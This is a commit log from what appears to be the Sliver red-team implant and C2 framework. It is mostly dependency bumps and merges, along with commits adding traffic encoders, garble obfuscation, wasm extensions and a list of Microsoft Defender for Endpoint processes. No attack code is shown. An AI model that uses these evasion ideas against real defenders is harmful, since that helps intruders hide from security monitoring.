- [Commits](https://github.com/go-gorm/gorm/compare/v1.24.5...v1.24.6)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-13 04:02:01 +00:00
dependabot[bot] 115f47a7b4 Bump github.com/miekg/dns from 1.1.51 to 1.1.52
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.51 to 1.1.52.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.51...v1.1.52)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-13 04:01:43 +00:00
dependabot[bot] bde3cd6e87 Bump golang.org/x/crypto from 0.6.0 to 0.7.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.6.0 to 0.7.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.6.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-13 04:01:10 +00:00
moloch-- 6667780164 Length check on windows host uuid 2023-03-12 16:39:27 -05:00
moloch-- 9cfd51d44f Merge branch 'master' into v1.6.0/master 2023-03-09 18:13:18 -06:00
moloch-- e6d9740410 Go v1.20.2 2023-03-09 18:12:57 -06:00
Joe 6240be3a4b Merge pull request #1137 from BishopFox/go/v1.20.2
Go v1.20.2
2023-03-09 11:30:09 -07:00
moloch-- 3a8017e7dd Go v1.20.2 2023-03-08 16:03:11 -07:00
moloch-- 364a0919f5 Merge master 2023-03-08 15:53:12 -07:00
Joe 1f76a3f4f3 Merge pull request #1136 from DominicBreuker/master
Unblock execute command if no output is requested
2023-03-07 22:09:13 -06:00
Dominic Breuker 5ab52bca05 unblock execute command if no output is requested 2023-03-07 22:09:24 +01:00
Joe dfcbdf7e07 Merge pull request #1132 from BishopFox/d866dependabot/go_modules/github.com/chromedp/chromedp-0.8.8
Bump github.com/chromedp/chromedp from 0.8.7 to 0.8.8
2023-03-06 12:07:04 -06:00
Joe 2dc1b69c92 Merge pull request #1134 from BishopFox/c58ddependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.6
Bump github.com/jedib0t/go-pretty/v6 from 6.4.4 to 6.4.6
2023-03-06 12:06:37 -06:00
Joe 69058fe492 Merge pull request #1131 from BishopFox/1eaedependabot/go_modules/golang.org/x/net-0.8.0
Bump golang.org/x/net from 0.7.0 to 0.8.0
2023-03-06 10:58:37 -06:00
dependabot[bot] 9f811f8da0 Bump golang.org/x/net from 0.7.0 to 0.8.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.7.0 to 0.8.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.7.0...v0.8.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-06 16:17:41 +00:00
dependabot[bot] 9585b430a5 Bump github.com/chromedp/chromedp from 0.8.7 to 0.8.8
Bumps [github.com/chromedp/chromedp](https://github.com/chromedp/chromedp) from 0.8.7 to 0.8.8.
- [Release notes](https://github.com/chromedp/chromedp/releases)
- [Commits](https://github.com/chromedp/chromedp/compare/v0.8.7...v0.8.8)

---
updated-dependencies:
- dependency-name: github.com/chromedp/chromedp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-06 16:17:35 +00:00
Joe efaffb1999 Merge pull request #1135 from BishopFox/37cddependabot/go_modules/golang.org/x/term-0.6.0
Bump golang.org/x/term from 0.5.0 to 0.6.0
2023-03-06 10:02:59 -06:00
dependabot[bot] 2f1f81cc0f Bump golang.org/x/term from 0.5.0 to 0.6.0
Bumps [golang.org/x/term](https://github.com/golang/term) from 0.5.0 to 0.6.0.
- [Release notes](https://github.com/golang/term/releases)
- [Commits](https://github.com/golang/term/compare/v0.5.0...v0.6.0)

---
updated-dependencies:
- dependency-name: golang.org/x/term
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-06 04:07:11 +00:00
dependabot[bot] 94d8b9fc8a Bump github.com/jedib0t/go-pretty/v6 from 6.4.4 to 6.4.6
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.4 to 6.4.6.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.4...v6.4.6)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-06 04:06:41 +00:00
moloch-- 4764e249c3 Merge branch 'master' into v1.6.0/master 2023-03-05 13:33:53 -07:00
Joe 1756fdfb62 Merge pull request #1130 from r00t0v3rr1d3/master
fix defunct processes on nix
2023-03-05 11:41:33 -06:00
Chris Shields 12e6f9a73d fix defunct processes on nix 2023-03-05 11:02:30 -05:00
Ronan Kervella b0a917ce41 Merge pull request #1128 from BishopFox/fix/ssh-kerberos
Fix `ssh` command
2023-03-03 13:10:24 -08:00
rkervella e3a2ff81ab Only try to read keytab if it was supplied as an argument 2023-03-03 11:53:56 -08:00
Ronan Kervella 71f94928bf Merge pull request #1122 from BishopFox/stage
Update go-clr, merge master
2023-02-28 20:10:02 -08:00
rkervella 93a0c15906 Update go-clr, merge master 2023-02-28 16:48:14 -08:00
moloch-- fb8b97f79c Merge wasm exts 2023-02-28 16:10:09 -07:00
moloch-- a7a50d1205 Go mod tidy/vendor 2023-02-28 15:53:01 -07:00
moloch-- afd711f28a Go mod tidy/vendor 2023-02-28 15:52:25 -07:00
moloch-- 613b11eb0d Style fixes 2023-02-28 15:50:04 -07:00
Joe 83c153d189 Merge pull request #1115 from BishopFox/a23fdependabot/go_modules/github.com/things-go/go-socks5-0.0.3
Bump github.com/things-go/go-socks5 from 0.0.3-0.20210722055343-24af464efe43 to 0.0.3
2023-02-27 16:40:37 -06:00
dependabot[bot] 524d58454c Bump github.com/things-go/go-socks5
Bumps [github.com/things-go/go-socks5](https://github.com/things-go/go-socks5) from 0.0.3-0.20210722055343-24af464efe43 to 0.0.3.
- [Release notes](https://github.com/things-go/go-socks5/releases)
- [Commits](https://github.com/things-go/go-socks5/commits/v0.0.3)

---
updated-dependencies:
- dependency-name: github.com/things-go/go-socks5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 19:35:04 +00:00
Joe 0530018ea4 Merge pull request #1117 from BishopFox/83bddependabot/go_modules/google.golang.org/grpc-1.53.0
Bump google.golang.org/grpc from 1.42.0-dev.0.20211020220737-f00baa6c3c84 to 1.53.0
2023-02-27 13:33:25 -06:00
dependabot[bot] 617a39227c Bump google.golang.org/grpc
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.42.0-dev.0.20211020220737-f00baa6c3c84 to 1.53.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/commits/v1.53.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 15:32:21 +00:00
Joe 81f701ca21 Merge pull request #1119 from BishopFox/feafdependabot/go_modules/modernc.org/sqlite-1.21.0
Bump modernc.org/sqlite from 1.20.4 to 1.21.0
2023-02-27 09:22:15 -06:00
Joe 163b1cbcad Merge pull request #1116 from BishopFox/cc09dependabot/go_modules/github.com/miekg/dns-1.1.51
Bump github.com/miekg/dns from 1.1.50 to 1.1.51
2023-02-27 09:18:42 -06:00
dependabot[bot] 38206c0cb7 Bump modernc.org/sqlite from 1.20.4 to 1.21.0
---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 04:21:31 +00:00
dependabot[bot] 5d3247d658 Bump github.com/miekg/dns from 1.1.50 to 1.1.51
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.50 to 1.1.51.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.50...v1.1.51)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 04:15:12 +00:00
moloch-- 6b91f106ab basic memfs working 2023-02-25 16:09:52 -08:00
moloch-- c0646d57a2 Align path mgmt to FS 2023-02-25 15:42:18 -08:00
moloch-- ae38e410cf Fix node .Name() to return full virtual path 2023-02-25 15:16:08 -08:00
moloch-- 0bac39bdcf Fixes to handling of memfs root path 2023-02-25 13:40:20 -08:00
moloch-- 32f0a4e2c4 memfs passes initial unit tests 2023-02-25 13:24:57 -08:00
moloch-- 3de75aaada Re-write memfs with single tree struct 2023-02-25 13:10:41 -08:00
moloch-- 7417f24fa5 Add build constraints for wasm ext 2023-02-25 11:15:05 -08:00
moloch-- 4f6a905355 Fixes to memfs readdir 2023-02-25 09:47:20 -08:00
Joe ba699679c9 Update README.md
Signed-off-by: Joe <[email protected]>
2023-02-25 11:37:09 -06:00
moloch-- 1ebb1f8df5 Fix memfs internal buf handling 2023-02-24 10:49:40 -08:00
moloch-- 8971f4264b Fix additional path handling in memfs 2023-02-23 21:41:11 -08:00
moloch-- dad4e3f627 Fixes to memfs 2023-02-23 18:29:30 -08:00
moloch-- e149795df6 Outline wasm memfs 2023-02-23 16:01:50 -08:00
Joe d1ef51ed49 Merge pull request #1112 from BishopFox/fix/linux-hostuuid
Return zero guid on hostuuid from mac error
2023-02-23 14:30:10 -06:00
moloch-- 03ba0ea9e7 Return zero guid on hostuuid from mac error 2023-02-23 11:37:29 -08:00
moloch-- 7e6c9a0c66 Most unit tests pass.. 2023-02-21 22:25:11 -08:00
moloch-- f9634342e2 Fix traffic encoder import 2023-02-21 20:52:03 -08:00
moloch-- 88d47526ed Switched to --stream flag 2023-02-21 20:47:03 -08:00
moloch-- c221631518 Interactive exec technically working 2023-02-21 20:30:30 -08:00
moloch-- 0cfe4a0d2a Update wazero dep 2023-02-21 16:53:14 -08:00
moloch-- 67a6249465 Implemented non-interactive wasm exec 2023-02-21 11:03:28 -08:00
moloch-- f388f7648a Only render source code files during implant generation 2023-02-21 09:57:49 -08:00
moloch-- 3c4e61253f Wired in wasm exec 2023-02-20 18:04:35 -08:00
moloch-- 89e5a18365 Implemented wasm ext registration 2023-02-20 17:05:55 -08:00
moloch-- be1f71f56e Update build.py to py3 only 2023-02-20 15:40:55 -08:00
moloch-- ac34fae842 Merge branch 'v1.6.0/master' into v1.6.0/wasm 2023-02-20 11:37:44 -08:00
moloch-- 2100d7e1a9 Merge master 2023-02-20 11:37:28 -08:00
Ronan Kervella 42a4e93aae Merge pull request #1111 from BishopFox/go/v1.20.1
Go v1.20.1
2023-02-20 11:36:38 -08:00
Joe 81ec6398b8 Merge pull request #1109 from BishopFox/c350dependabot/go_modules/gorm.io/driver/mysql-1.4.7
Bump gorm.io/driver/mysql from 1.4.6 to 1.4.7
2023-02-20 11:55:29 -06:00
moloch-- 5da01d9278 Garble v1.20.2 2023-02-20 09:35:28 -08:00
dependabot[bot] bc9bba5d39 Bump gorm.io/driver/mysql from 1.4.6 to 1.4.7
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.6 to 1.4.7.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.6...v1.4.7)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 17:07:25 +00:00
moloch-- 89f029f55b Go v1.20.1 2023-02-20 09:05:05 -08:00
moloch-- 01edbd2fc5 Merge master, update vendor/ 2023-02-20 09:03:47 -08:00
moloch-- 303a6109fc Basic outline of wasm rpcs 2023-02-20 09:02:23 -08:00
Joe 64a31ee3b0 Merge pull request #1108 from BishopFox/a012dependabot/go_modules/gorm.io/driver/postgres-1.4.8
Bump gorm.io/driver/postgres from 1.4.6 to 1.4.8
2023-02-20 11:01:41 -06:00
Joe 9c44890db7 Merge pull request #1110 from BishopFox/44b0dependabot/go_modules/modernc.org/sqlite-1.20.4
Bump modernc.org/sqlite from 1.19.3 to 1.20.4
2023-02-20 10:17:54 -06:00
dependabot[bot] 50103d7ae9 Bump gorm.io/driver/postgres from 1.4.6 to 1.4.8
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.6 to 1.4.8.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.6...v1.4.8)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 16:17:12 +00:00
Joe 448c9a8c35 Merge pull request #1106 from BishopFox/b450dependabot/go_modules/golang.org/x/net-0.7.0
Bump golang.org/x/net from 0.6.0 to 0.7.0
2023-02-20 10:15:31 -06:00
dependabot[bot] 52e296fed4 Bump golang.org/x/net from 0.6.0 to 0.7.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.6.0 to 0.7.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.6.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 15:24:17 +00:00
Joe 975d37f169 Merge pull request #1107 from BishopFox/c00bdependabot/go_modules/golang.org/x/crypto-0.6.0
Bump golang.org/x/crypto from 0.5.0 to 0.6.0
2023-02-20 09:22:51 -06:00
dependabot[bot] 94a4be6254 Bump modernc.org/sqlite from 1.19.3 to 1.20.4
---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 06:10:53 +00:00
dependabot[bot] 988282cd40 Bump golang.org/x/crypto from 0.5.0 to 0.6.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.5.0 to 0.6.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.5.0...v0.6.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 04:06:59 +00:00
moloch-- 9358ed969e Outline wasm call conventions 2023-02-18 10:01:22 -08:00
moloch-- b30e97e412 Re-organize some of implant handlers 2023-02-17 16:33:13 -08:00
moloch-- 977cdd540f Simplify NewWasmExtension api 2023-02-17 12:41:22 -08:00
moloch-- 96c3f0bc9e Remove unused code 2023-02-17 12:19:25 -08:00
moloch-- bdd5e9fe5a Fix unit tests/insert 2023-02-17 12:17:45 -08:00
moloch-- d2a347fd9c Implemented more memfs unit tests 2023-02-17 12:04:06 -08:00
moloch-- 822472cde4 Outline unit tests 2023-02-16 21:53:52 -08:00
moloch-- 58f6b41e50 Switch to pass thru root and /memfs/ 2023-02-16 21:03:00 -08:00
moloch-- 6bdbcf3bbe Initial draft of wasm extensions 2023-02-16 18:22:21 -08:00
Joe dc687055a4 Merge pull request #1103 from BishopFox/fix/1102
Fix missing flag in context for PsCmd
2023-02-16 16:24:21 -06:00
rkervella 1ddeeb8554 Fix missing flag in context for PsCmd 2023-02-16 13:34:15 -08:00
moloch-- 3c23a068d4 Add time() to tfe imports 2023-02-15 18:09:02 -08:00
moloch-- e52ef10fec Remove tinygo tfe example 2023-02-15 12:13:05 -08:00
moloch-- a90689b19c Add flag to skip tests 2023-02-15 12:09:57 -08:00
moloch-- 5bbb36531e Add time limits to tfe tests 2023-02-15 12:03:14 -08:00
moloch-- 9d1a37b339 Add locks to server-side tfe 2023-02-14 15:52:17 -08:00
moloch-- 31575890b4 Move backdoor proto to clientpb 2023-02-14 15:50:31 -08:00
moloch-- 790eb8f947 Mvp of traffic encoders working 2023-02-14 15:21:03 -08:00
moloch-- bacbaaf6a1 Added traffic encoder generate flags 2023-02-14 12:17:38 -08:00
moloch-- 2ddfab8d55 Added completers for tfe args 2023-02-14 11:07:13 -08:00
moloch-- 8d2c3b3fef Improved tfe param validation 2023-02-14 10:55:37 -08:00
moloch-- 13726ac4bf Implemented rm traffic encoder 2023-02-14 08:26:04 -08:00
moloch-- df77a90547 Better error handling for traffic encoder tests 2023-02-13 22:15:58 -08:00
moloch-- 78ae84d0ae Implemented traffic encoder test suite 2023-02-13 17:34:34 -08:00
moloch-- f745b33eaf Started implementing grpcCtx timeouts 2023-02-13 11:09:52 -08:00
moloch-- 973c294cd9 Update pure go sqlite3 2023-02-13 10:52:42 -08:00
moloch-- caf1dfb071 Merge branch 'master' into v1.6.0/master 2023-02-13 09:45:24 -08:00
Joe 8369b03112 Merge pull request #1101 from BishopFox/6751dependabot/go_modules/gorm.io/driver/mysql-1.4.6
Bump gorm.io/driver/mysql from 1.4.5 to 1.4.6
2023-02-13 11:16:23 -06:00
Joe e44bb1a4f1 Merge pull request #1097 from BishopFox/436edependabot/go_modules/golang.org/x/net-0.6.0
Bump golang.org/x/net from 0.5.0 to 0.6.0
2023-02-13 11:15:48 -06:00
moloch-- d05a6cb43f skip overwriting .wasm without --force 2023-02-13 09:12:24 -08:00
dependabot[bot] bca8c13f20 Bump gorm.io/driver/mysql from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-13 06:16:01 +00:00
dependabot[bot] a8a5368060 Bump golang.org/x/net from 0.5.0 to 0.6.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.5.0 to 0.6.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.5.0...v0.6.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-13 04:08:02 +00:00
moloch-- 1499661950 Fix default traffic encoder unpack 2023-02-12 20:03:49 -08:00
moloch-- 763cad5823 Outline add traffic encoder cmd 2023-02-12 19:03:22 -08:00
moloch-- 9116fe89fb Update garble 2023-02-12 14:39:32 -08:00
moloch-- cfaa892ae5 Attempt to implement docs/notion 2023-02-12 12:38:11 -08:00
moloch-- 14b67b621f Make url args configurable, move default headers into http config 2023-02-12 10:52:08 -08:00
moloch-- e36f2c252e Merge branch 'master' into v1.6.0/master 2023-02-10 19:27:49 -08:00
Joe cf4a8da802 Merge pull request #1094 from BishopFox/fix/go-assets-linux-arm64
Update go-assets.sh
2023-02-07 18:39:46 -06:00
Ronan Kervella b0b4751267 Update go-assets.sh
Update go-assets.sh to actually download the right version of garble for Linux arm64.

Signed-off-by: Ronan Kervella <[email protected]>
2023-02-07 16:06:10 -08:00
moloch-- b6c9a12667 Merge branch 'master' into v1.6.0/master 2023-02-07 08:46:40 -08:00
moloch-- d2a6fa8cd6 Go v1.20 2023-02-07 08:26:21 -08:00
Joe ad7310dc68 Merge pull request #1093 from BishopFox/481ddependabot/go_modules/gorm.io/gorm-1.24.5
Bump gorm.io/gorm from 1.24.3 to 1.24.5
2023-02-07 10:24:08 -06:00
dependabot[bot] e914850a13 Bump gorm.io/gorm from 1.24.3 to 1.24.5
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.3 to 1.24.5.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.24.3...v1.24.5)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-06 03:12:35 +00:00
Ronan Kervella 56e368ccb0 Merge pull request #1092 from BishopFox/fix/protoc-ver
Fix protoc version
2023-02-03 08:28:50 -08:00
moloch-- 8ea559c205 Fast encoders 2023-02-01 19:48:37 -08:00
moloch-- f4e8ec58c3 Fix overly broad client/server import 2023-02-01 19:46:52 -08:00
moloch-- b1ce68710b Additional encoder compatibility unit tests 2023-02-01 19:09:51 -08:00
moloch-- c0427b4095 Improvements to PNG encoder 2023-02-01 17:47:52 -08:00
moloch-- 201548c959 Tweaks to Makefile 2023-02-01 16:34:55 -08:00
moloch-- 9fedb4aa2d Updated Makefile 2023-02-01 16:02:07 -08:00
moloch-- d77fea4618 Add client build for windows/arm64 2023-02-01 15:56:43 -08:00
moloch-- 2be6a314ab Improvements to Makefile 2023-02-01 15:55:01 -08:00
moloch-- 5270169921 Merge branch 'fix/protoc-ver' into v1.6.0/master 2023-02-01 15:00:14 -08:00
moloch-- 4e43f2d0d3 Fix protoc version 2023-02-01 14:39:42 -08:00
moloch-- 4249142857 Merge branch 'master' into v1.6.0/master 2023-02-01 14:22:41 -08:00
Joe cb3fc2923f Merge pull request #1091 from BishopFox/go/v1.20
Go/v1.20
2023-02-01 16:19:02 -06:00
moloch-- 204519b18f Update garble and pb versions 2023-02-01 13:44:26 -08:00
moloch-- e6a974495a Go v1.20 2023-02-01 13:29:40 -08:00
moloch-- 49b658a050 Update pure go sqlite3 2023-02-01 09:43:53 -08:00
moloch-- 93632466f9 Merge branch 'master' into v1.6.0/master 2023-02-01 09:14:34 -08:00
Joe 4c172b7d8f Merge pull request #1090 from mwgielen/output-printing
Add printing of two types of output
2023-02-01 11:12:12 -06:00
Joe 6f76dfa674 Merge pull request #1089 from mamil/fix-leak
fix goroutine leak
2023-02-01 11:11:12 -06:00
Matthijs Gielen e47516c988 Add printing of two messages
Added printing of MsgCallExtensionReq and MsgInvokeExecuteAssemblyReq

Signed-off-by: Matthijs Gielen <[email protected]>
2023-02-01 13:49:49 +01:00
raymonder jin 1a2388aadc fix goroutine leak 2023-02-01 17:58:04 +08:00
Joe d8668e7d4e Merge pull request #1085 from BishopFox/3aaadependabot/go_modules/github.com/gofrs/uuid-4.4.0incompatible
Bump github.com/gofrs/uuid from 4.3.1+incompatible to 4.4.0+incompatible
2023-01-31 19:57:21 -06:00
dependabot[bot] f21669bb45 Bump github.com/gofrs/uuid from 4.3.1+incompatible to 4.4.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.3.1+incompatible to 4.4.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.3.1...v4.4.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-31 16:18:05 +00:00
Ronan Kervella 8175819f52 Merge pull request #1084 from BishopFox/2a14dependabot/go_modules/github.com/fatih/color-1.14.1
Bump github.com/fatih/color from 1.14.0 to 1.14.1
2023-01-31 08:14:31 -08:00
Ronan Kervella d0cfd655ca Merge pull request #1087 from BishopFox/4725dependabot/bundler/docs/activesupport-6.0.6.1
Bump activesupport from 6.0.4.6 to 6.0.6.1 in /docs
2023-01-31 08:12:53 -08:00
dependabot[bot] cc7d5f8a82 Bump activesupport from 6.0.4.6 to 6.0.6.1 in /docs
Bumps [activesupport](https://github.com/rails/rails) from 6.0.4.6 to 6.0.6.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.4.2/activesupport/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v6.0.4.6...v6.0.6.1)

---
updated-dependencies:
- dependency-name: activesupport
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-31 03:54:02 +00:00
dependabot[bot] 6efd53950b Bump github.com/fatih/color from 1.14.0 to 1.14.1
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.14.0 to 1.14.1.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.14.0...v1.14.1)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-30 03:12:42 +00:00
moloch-- a12526368d Add netgo flags, update default -ldflags 2023-01-29 08:46:54 -08:00
moloch-- 51dfc7d50e Fix logf calls 2023-01-27 09:50:21 -07:00
moloch-- 9fe6530be5 Fix gorm foriegn keys 2023-01-26 20:35:42 -07:00
moloch-- 8f8b714ee0 Implement initial integration of traffic encoders into generate pkg 2023-01-26 17:37:33 -07:00
moloch-- 6d2030ef43 Fix server-side traffic encoder initialization 2023-01-26 15:06:36 -07:00
moloch-- 7654a288bf Fix import in implant traffic encoder 2023-01-26 14:39:48 -07:00
moloch-- b2c54a5271 Update dnsclient to use newer encoder api 2023-01-26 10:06:20 -07:00
moloch-- f6a0d26f86 Updated compatibility unit tests 2023-01-26 09:05:22 -07:00
moloch-- cef744a8c4 Update implant vendor/ 2023-01-26 08:46:18 -07:00
moloch-- 006170f7fd Fix unit tests 2023-01-25 21:09:11 -07:00
moloch-- 64996a5377 Added Assets to implant config 2023-01-25 17:34:16 -07:00
moloch-- c7c99d38e0 Increased encoder modulo 2023-01-25 16:20:56 -07:00
moloch-- edbc3bbca3 Changed encoder nonce to uint64 2023-01-25 15:58:08 -07:00
moloch-- 7a76575004 Added compressed english dictionary 2023-01-25 14:54:14 -07:00
Joe 041ae65c61 Merge pull request #1078 from realalexandergeorgiev/realalexandergeorgiev-patch-1
Added Defender for Endpoint processes
2023-01-25 11:30:13 -06:00
Joe 286c9dc3f2 Merge pull request #1080 from BishopFox/f334dependabot/bundler/docs/commonmarker-0.23.7
Bump commonmarker from 0.23.6 to 0.23.7 in /docs
2023-01-25 11:29:57 -06:00
moloch-- ba1224833b Fix traffic encoder unit test imports 2023-01-25 10:24:03 -07:00
dependabot[bot] 6b3d95a0b4 Bump commonmarker from 0.23.6 to 0.23.7 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.6 to 0.23.7.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.6...v0.23.7)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-25 04:30:26 +00:00
moloch-- b8acd390d3 Implemented implant encoder assets 2023-01-24 14:31:13 -07:00
moloch-- 9904ef0f9c Additional reorganization of encoders/implant pipeline 2023-01-24 11:53:28 -07:00
moloch-- e9ba047c5e Reorganize encoder init for server/implant 2023-01-24 10:41:21 -07:00
Alexander Georgiev 9f73e636b4 Added Defender for Endpoint processes
Added Defender for Endpoint processes based on https://medium.com/csis-techblog/silencing-microsoft-defender-for-endpoint-using-firewall-rules-3839a8bf8d18

Signed-off-by: Alexander Georgiev <[email protected]>
2023-01-24 14:16:44 +01:00
moloch-- d4e4e88507 Unified encoder pkgs 2023-01-23 13:27:40 -07:00
moloch-- 6d4f596cb0 Merge branch 'master' into v1.6.0/master 2023-01-23 08:32:41 -07:00
Joe 4a8cc9386f Merge pull request #1077 from BishopFox/dd5ddependabot/go_modules/github.com/fatih/color-1.14.0
Bump github.com/fatih/color from 1.13.0 to 1.14.0
2023-01-23 08:57:10 -06:00
dependabot[bot] 25f7ac019f Bump github.com/fatih/color from 1.13.0 to 1.14.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.13.0 to 1.14.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.13.0...v1.14.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-23 03:44:40 +00:00
moloch-- 2384e9a385 Remove loud logs 2023-01-20 17:55:32 -08:00
moloch-- fd01c17300 Improved unit tests 2023-01-20 17:10:52 -08:00
moloch-- d76ff1d44d Remove wasi 2023-01-20 16:53:52 -08:00
moloch-- 8c573f951c Merge branch 'master' into v1.6.0/master 2023-01-20 16:06:06 -08:00
Joe 19c2533d90 Merge pull request #1076 from BishopFox/go/v1.19.5
Go v1.19.5
2023-01-20 12:19:00 -08:00
moloch-- fa94d98d68 Update go mod/vendor 2023-01-20 11:25:17 -08:00
moloch-- 1469482631 Ensure HOME is set, remove large literal ENV 2023-01-20 11:24:14 -08:00
moloch-- 7eb77b07fa Go v1.19.5 2023-01-20 08:56:01 -08:00
moloch-- c850fb6e8f fix loot unit test 2023-01-20 08:04:43 -08:00
moloch-- 499841fef0 Fix encoders unit tests 2023-01-19 18:20:56 -08:00
